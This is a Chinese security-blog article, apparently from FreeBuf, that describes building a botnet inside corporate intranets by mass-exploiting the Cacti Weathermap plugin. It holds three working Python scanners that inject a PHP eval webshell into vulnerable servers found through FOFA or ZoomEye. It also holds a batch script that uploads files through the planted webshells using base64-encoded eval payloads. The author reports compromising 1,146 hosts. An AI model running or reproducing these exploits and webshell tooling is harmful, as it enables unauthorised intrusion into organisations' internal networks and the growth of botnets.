扩充僵尸网络至企业内网核心区

2017-01-17 +12 256404人围观 ,发现 14 个不明物体 系统安全

企业核心区域除线上业务,只剩下运维与数据库相关系统,想建立僵尸网络,在完成平时的渗透工作时快速定位自己是否有目标相关内网权限,挂马获取员工PC起或者一些新装服务挂马,基效果并不会太好,一些服务如:walle,HUE,Django,zabbix,zookeeper,hadoop,Flume-ng、GraphicsMagick。这些系统如果能找到相关主机漏洞或者相对鸡肋的漏洞,都可以获取质量相对较高的内网权限。

这次,我们使用的是cacti。一个很老的漏洞,之前是东西是2015年写的POC的,之前抓到了2000+,最近需要一些肉鸡,所以又试了一下,发现还是能找到1000多台全球主机,基本都在企业内网,包括国内外知名企业。

0×01 数据获取

可以使用zoomeyes api 与fafo api ,我使用的是fofa。

zoomeyes 与 fafo 采集结果数据两者是不同的。所以exp 我给出两种不同结构。

zoomeyes数据结构:(域名)+端口

fofa数据结构:http://+(域名)+端口

0×02 脚本使用

使用命令    exp.py   -f ip.txt         (IP里面格式一行放一个IP) ,IP端口需要修改的话,请修改port_list。这种对应 zoomeyes的数据结构。

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading

port_list = ['80,443,8080,81,8081']

payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'

class main_class(object):
    
    def __init__(self,target_ip,thread_num):
        #print target_ip
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()
        
        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)
            

    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()
            
            try:
                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
                if "Cacti" in req.content:
                    try:
                        #print self.target_ip
                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                            #print self.target_ip,port
                            print "http://"+self.target_ip+":"+port+payload2
                    except:
                        try:
                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                #print self.target_ip,port
                                print "http://"+self.target_ip+":"+port+payload4
                        except:
                            pass
                else:
                    continue    
            except:
                pass
            
            self.queue.task_done() 
        

    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)


    
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)


    for target_ip in a:        
        pool = multiprocessing.Pool(processes=2)
        pool.apply_async(func, (target_ip,args.thread_num))
        
    pool.close()
    pool.join()
 

使用命令    exp.py   -f ip.txt       (ip.txt格式:http://(IP或者域名):端口)

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading

port_list = ['80,443,8080,81,8081']

payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'

class main_class(object):
    
    def __init__(self,target_ip,thread_num):
        #print target_ip
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()
        
        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)
            

    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()
            
            try:
                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
                if "Cacti" in req.content:
                    try:
                        #print self.target_ip
                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                            #print self.target_ip,port
                            print "http://"+self.target_ip+":"+port+payload2
                    except:
                        try:
                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                #print self.target_ip,port
                                print "http://"+self.target_ip+":"+port+payload4
                        except:
                            pass
                else:
                    continue    
            except:
                pass
            
            self.queue.task_done() 
        

    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)


    
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)


    for target_ip in a:        
        pool = multiprocessing.Pool(processes=2)
        pool.apply_async(func, (target_ip,args.thread_num))
        
    pool.close()
    pool.join()
 

1.jpg

对https处理有些问题,如果https使用下面:

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading
import os
import signal

port_list = ('80')

payload1 = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'
requests.packages.urllib3.disable_warnings()
class main_class(object):
    
    def __init__(self,target_ip,thread_num):
        #print os.getpid()
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()
        
        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)
            

    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()
            #print self.target_ip,port
            try:
                req = requests.get(self.target_ip,timeout=4, verify=False)
                if "Cacti" in req.content:
                    try:
                        r = requests.get(self.target_ip+payload3,timeout=4,verify=False)
                        if r.status_code == 404:
                            requests.get(self.target_ip+payload1,timeout=4,verify=False)
                            req = requests.get(self.target_ip+payload2,timeout=4,verify=False)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                print self.target_ip+payload2
                                #os.kill(os.getpid(), signal.SIGKILL)
                        else:        
                            req = requests.get(self.target_ip+payload4,timeout=4,verify=False)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                print self.target_ip+"payload4"
                                #os.kill(os.getpid(), signal.SIGKILL)
                    except:
                        #print "error1"
                        pass
            except:
                #print "error2"
                pass
            
            self.queue.task_done() 
        

    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)


    
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)
    try:
        pool = multiprocessing.Pool(processes=5)

        for target_ip in a:        
            pool.apply_async(func, (target_ip,args.thread_num))
            #pool.apply(func, (target_ip,args.thread_num))
        
        pool.close()
        pool.join()
    except KeyboardInterrupt,e:
        sys.exit(-1)
 

2.jpg

0×03 批量上传文件

这里安全小飞侠写过一个脚本:http://www.freebuf.com/sectool/91082.html 但不支持HTTPS,需要在上面 

import ssl 
ssl._create_default_https_context = ssl._create_unverified_context

 解决访问Https时不受信任SSL证书问题

使用命令: shell.py      webshell.txt     wenjian.txt      (webshell.txt文件格式  http://xx.com/muma.php,0),(wenjian.txt 上传文件的格式,如果上传PHP,一定要是PHP后缀)

代码:

#!/usr/bin/python  
#coding=utf-8  
import urllib  
import urllib2
import sys
import base64
import re
import ssl 
ssl._create_default_https_context = ssl._create_unverified_context
def post(url, data):  
    req = urllib2.Request(url)  
    data = urllib.urlencode(data)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  
    
def get_shell_path(posturl,passwd):
    shell_path = ""
    try:
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
        shell_path = post(posturl, data).strip()
    except Exception:
        pass
    return shell_path
  
def main():
    print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
    shellfile = sys.argv[1] # 存放webshell路径和密码的文件
    localfile = sys.argv[2] # 本地待上传的文件名
    shell_file = open(shellfile,'rb')
    local_content = str(open(localfile,'rb').read())
    for eachline in shell_file:
        posturl = eachline.split(',')[0].strip()
        passwd = eachline.split(',')[1].strip()
        try:
            reg = ".*/([^/]*\.php?)"
            match_shell_name = re.search(reg,eachline)
            if match_shell_name:
                shell_name=match_shell_name.group(1)
                shell_path = get_shell_path(posturl,passwd).strip()
                target_path = shell_path.split(shell_name)[0]+localfile
                target_path_base64 = base64.b64encode(target_path)
                target_file_url = eachline.split(shell_name)[0]+localfile
                data = {}
                data[passwd] = '@eval(base64_decode($_POST[z0]));'
 
               
data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
                data['z1']=target_path_base64
                data['z2']=base64.b64encode(local_content)
                response = post(posturl, data)
                if response:
                    print '[+] '+target_file_url+', upload succeed!'
                else:
                    print '[-] '+target_file_url+', upload failed!'
            else:
                print '[-] '+posturl+', unsupported webshell!'
        except Exception,e:
            print '[-] '+posturl+', connection failed!'
    shell_file.close()
  
if __name__ == '__main__':  
    main()

3.jpg

4.jpg\\

最后上线主机 1146台。

*本文作者sh4dow@lcx.cc,转载请注明来自FreeBuf.COM

这些评论亮了

  • eleven 回复
    只有我好奇,最后那个图的管理器么? 以及webshell么. 自动上线的webshell 好好玩吖.
    )6( 亮了
发表评论

已有 14 条评论

取消
Loading...
css.php